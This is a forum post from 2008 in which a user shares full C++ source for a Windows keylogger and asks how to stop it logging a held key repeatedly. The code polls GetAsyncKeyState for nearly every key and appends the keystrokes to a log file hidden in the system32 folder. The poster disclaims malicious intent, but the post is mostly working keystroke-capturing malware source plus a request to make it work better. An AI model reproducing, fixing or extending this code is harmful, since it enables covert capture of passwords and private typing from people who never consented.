|
-
December 14th, 2008, 04:51 PM
#1
Simple Keylogger
I just wanted to make a simple keylogger just to see if I can make it (NOT for malicious reasons, just to how hard it is). I got the whole find-pressed-key, export-to-file thing down. Only problem: It logs you constantly, meaning by holding the 'a' key down for a second generates about 5 megs of 'a' in the log file. I can't use Sleep(i) because when you type faster or slower, it will result in either 5 or 10 lines of 'a'. (if I set i to 500, for example, then when I am typing fast, it will only register a few keys, not all of them, but when I type slow, it will register more than one of the same key) I don't want to use a hook. How can I ask it to log a key only once when it is pressed, but still be able to log 2 occurrences of the key if it was pressed twice?
Code:
#include <windows.h>
#include <winuser.h>
#include <fstream.h>
#include <time.h>
#include <stdio.h>
#include <cstdio>
#define VK_0 0x30
#define VK_1 0x31
#define VK_2 0x32
#define VK_3 0x33
#define VK_4 0x34
#define VK_5 0x35
#define VK_6 0x36
#define VK_7 0x37
#define VK_8 0x38
#define VK_9 0x39
#define VK_A 0x41
#define VK_B 0x42
#define VK_C 0x43
#define VK_D 0x44
#define VK_E 0x45
#define VK_F 0x46
#define VK_G 0x47
#define VK_H 0x48
#define VK_I 0x49
#define VK_J 0x4A
#define VK_K 0x4B
#define VK_L 0x4C
#define VK_M 0x4D
#define VK_N 0x4E
#define VK_O 0x4F
#define VK_P 0x50
#define VK_Q 0x51
#define VK_R 0x52
#define VK_S 0x53
#define VK_T 0x54
#define VK_U 0x55
#define VK_V 0x56
#define VK_W 0x57
#define VK_X 0x58
#define VK_Y 0x59
#define VK_Z 0x5A
#define VK_OEM_PLUS 0xBB
#define VK_OEM_MINUS 0xBD
#define VK_OEM_COMMA 0xBC
#define VK_OEM_PERIOD 0xBE
using namespace std;
int main(){
time_t rawtime;
struct tm * timeinfo;
time ( &rawtime );
timeinfo = localtime ( &rawtime );
start:
ofstream log;
log.open ("C:\\windows\\system32\\log.txt", ios::out | ios::ate | ios::app);
log << asctime (timeinfo);
for(;;){
if(GetAsyncKeyState(VK_0)||GetAsyncKeyState(VK_NUMPAD0))
{log <<"0";}
else if(GetAsyncKeyState(VK_1)||GetAsyncKeyState(VK_NUMPAD1))
{log <<"1";}
else if(GetAsyncKeyState(VK_2)||GetAsyncKeyState(VK_NUMPAD2))
{log <<"2";}
else if(GetAsyncKeyState(VK_3)||GetAsyncKeyState(VK_NUMPAD3))
{log <<"3";}
else if(GetAsyncKeyState(VK_4)||GetAsyncKeyState(VK_NUMPAD4))
{log <<"4";}
else if(GetAsyncKeyState(VK_5)||GetAsyncKeyState(VK_NUMPAD5))
{log <<"5";}
else if(GetAsyncKeyState(VK_6)||GetAsyncKeyState(VK_NUMPAD6))
{log <<"6";}
else if(GetAsyncKeyState(VK_7)||GetAsyncKeyState(VK_NUMPAD7))
{log <<"7";}
else if(GetAsyncKeyState(VK_8)||GetAsyncKeyState(VK_NUMPAD8))
{log <<"8";}
else if(GetAsyncKeyState(VK_9)||GetAsyncKeyState(VK_NUMPAD9))
{log <<"9";}
else if(GetAsyncKeyState(VK_A))
{log <<"a";}
else if(GetAsyncKeyState(VK_B))
{log <<"b";}
else if(GetAsyncKeyState(VK_C))
{log <<"c";}
else if(GetAsyncKeyState(VK_D))
{log <<"d";}
else if(GetAsyncKeyState(VK_E))
{log <<"e";}
else if(GetAsyncKeyState(VK_F))
{log <<"f";}
else if(GetAsyncKeyState(VK_G))
{log <<"g";}
else if(GetAsyncKeyState(VK_H))
{log <<"h";}
else if(GetAsyncKeyState(VK_I))
{log <<"i";}
else if(GetAsyncKeyState(VK_J))
{log <<"j";}
else if(GetAsyncKeyState(VK_K))
{log <<"k";}
else if(GetAsyncKeyState(VK_L))
{log <<"l";}
else if(GetAsyncKeyState(VK_M))
{log <<"m";}
else if(GetAsyncKeyState(VK_N))
{log <<"n";}
else if(GetAsyncKeyState(VK_O))
{log <<"o";}
else if(GetAsyncKeyState(VK_P))
{log <<"p";}
else if(GetAsyncKeyState(VK_Q))
{log <<"q";}
else if(GetAsyncKeyState(VK_R))
{log <<"r";}
else if(GetAsyncKeyState(VK_S))
{log <<"s";}
else if(GetAsyncKeyState(VK_T))
{log <<"t";}
else if(GetAsyncKeyState(VK_U))
{log <<"u";}
else if(GetAsyncKeyState(VK_V))
{log <<"v";}
else if(GetAsyncKeyState(VK_W))
{log <<"w";}
else if(GetAsyncKeyState(VK_X))
{log <<"x";}
else if(GetAsyncKeyState(VK_Y))
{log <<"y";}
else if(GetAsyncKeyState(VK_Z))
{log <<"z";}
else if(GetAsyncKeyState(VK_LBUTTON))
{log <<"[LBUTTON]";}
else if(GetAsyncKeyState(VK_RBUTTON))
{log <<"[RBUTTON]";}
else if(GetAsyncKeyState(VK_CANCEL))
{log <<"[CANCEL]";}
else if(GetAsyncKeyState(VK_MBUTTON))
{log <<"[MBUTTON]";}
else if(GetAsyncKeyState(VK_BACK))
{log <<"[BACKSPACE]";}
else if(GetAsyncKeyState(VK_TAB))
{log <<"[TAB]";}
else if(GetAsyncKeyState(VK_CLEAR))
{log <<"[CLEAR]";}
else if(GetAsyncKeyState(VK_RETURN))
{log <<"[RETURN]";}
else if(GetAsyncKeyState(VK_SHIFT))
{log <<"[SHIFT]";}
else if(GetAsyncKeyState(VK_CONTROL))
{log <<"[CONTROL]";}
else if(GetAsyncKeyState(VK_MENU))
{log <<"[MENU]";}
else if(GetAsyncKeyState(VK_PAUSE))
{log <<"[PAUSE]";}
else if(GetAsyncKeyState(VK_CAPITAL))
{log <<"[CAPITAL]";}
else if(GetAsyncKeyState(VK_ESCAPE))
{log <<"[ESCAPE]";}
else if(GetAsyncKeyState(VK_SPACE))
{log <<"[SPACE]";}
else if(GetAsyncKeyState(VK_PRIOR))
{log <<"[PRIOR]";}
else if(GetAsyncKeyState(VK_NEXT))
{log <<"[NEXT]";}
else if(GetAsyncKeyState(VK_END))
{log <<"[END]";}
else if(GetAsyncKeyState(VK_HOME))
{log <<"[HOME]";}
else if(GetAsyncKeyState(VK_LEFT))
{log <<"[LEFT]";}
else if(GetAsyncKeyState(VK_UP))
{log <<"[UP]";}
else if(GetAsyncKeyState(VK_RIGHT))
{log <<"[RIGHT]";}
else if(GetAsyncKeyState(VK_DOWN))
{log <<"[DOWN]";}
else if(GetAsyncKeyState(VK_SELECT))
{log <<"[SELECT]";}
else if(GetAsyncKeyState(VK_PRINT))
{log <<"[PRINT]";}
else if(GetAsyncKeyState(VK_EXECUTE))
{log <<"[EXECUTE]";}
else if(GetAsyncKeyState(VK_SNAPSHOT))
{log <<"[PRINTSCREEN]";}
else if(GetAsyncKeyState(VK_INSERT))
{log <<"[INSERT]";}
else if(GetAsyncKeyState(VK_DELETE))
{log <<"[DELETE]";}
else if(GetAsyncKeyState(VK_HELP))
{log <<"[HELP]";}
else if(GetAsyncKeyState(VK_MULTIPLY))
{log <<"*";}
else if(GetAsyncKeyState(VK_ADD))
{log <<"+";}
else if(GetAsyncKeyState(VK_SEPARATOR))
{log <<"|";}
else if(GetAsyncKeyState(VK_SUBTRACT))
{log <<"-";}
else if(GetAsyncKeyState(VK_DECIMAL))
{log <<".";}
else if(GetAsyncKeyState(VK_DIVIDE))
{log <<"/";}
else if(GetAsyncKeyState(VK_F1))
{log <<"[F1]";}
else if(GetAsyncKeyState(VK_F2))
{log <<"[F2]";}
else if(GetAsyncKeyState(VK_F3))
{log <<"[F3]";}
else if(GetAsyncKeyState(VK_F4))
{log <<"[F4]";}
else if(GetAsyncKeyState(VK_F5))
{log <<"[F5]";}
else if(GetAsyncKeyState(VK_F6))
{log <<"[F6]";}
else if(GetAsyncKeyState(VK_F7))
{log <<"[F7]";}
else if(GetAsyncKeyState(VK_F8))
{log <<"[F8]";}
else if(GetAsyncKeyState(VK_F9))
{log <<"[F9]";}
else if(GetAsyncKeyState(VK_F10))
{log <<"[F10]";}
else if(GetAsyncKeyState(VK_F11))
{log <<"[F11]";}
else if(GetAsyncKeyState(VK_F12))
{log <<"[F12]";}
else if(GetAsyncKeyState(VK_NUMLOCK))
{log <<"[NUMLOCK]";}
else if(GetAsyncKeyState(VK_SCROLL))
{log <<"[SCROLL]";}
else if(GetAsyncKeyState(VK_LSHIFT))
{log <<"[VK_LSHIFT]";}
else if(GetAsyncKeyState(VK_RSHIFT))
{log <<"[RSHIFT]";}
else if(GetAsyncKeyState(VK_LCONTROL))
{log <<"[LCONTROL]";}
else if(GetAsyncKeyState(VK_RCONTROL))
{log <<"[RCONTROL]";}
else if(GetAsyncKeyState(VK_LMENU))
{log <<"[LALT]";}
else if(GetAsyncKeyState(VK_RMENU))
{log <<"[RALT]";}
else if(GetAsyncKeyState(VK_LWIN ))
{log <<"[LWIN]";}
else if(GetAsyncKeyState(VK_RWIN ))
{log <<"[RWIN]";}
else if(GetAsyncKeyState(VK_OEM_1))
{log <<"[\';\'/\':\']";}
else if(GetAsyncKeyState(VK_OEM_PLUS))
{log <<"+";}
else if(GetAsyncKeyState(VK_OEM_COMMA))
{log <<",";}
else if(GetAsyncKeyState(VK_OEM_MINUS))
{log <<"-";}
else if(GetAsyncKeyState(VK_OEM_PERIOD))
{log <<".";}
else if(GetAsyncKeyState(VK_OEM_2))
{log <<"[\'/\'/\'\?\']";}
else if(GetAsyncKeyState(VK_OEM_3))
{log <<"[\'`\'/\'~\']";}
else if(GetAsyncKeyState(VK_OEM_4))
{log <<"[\'{\'/\'[\']";}
else if(GetAsyncKeyState(VK_OEM_5))
{log <<"[\'\\\'/\'|\']";}
else if(GetAsyncKeyState(VK_OEM_6))
{log <<"[\']\'/\'}\']";}
else if(GetAsyncKeyState(VK_OEM_7))
{log <<"[\'/\"]";}
}
log.close();
goto start;
}
Last edited by shadowx360; December 14th, 2008 at 05:11 PM.
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
Click Here to Expand Forum to Full Width
|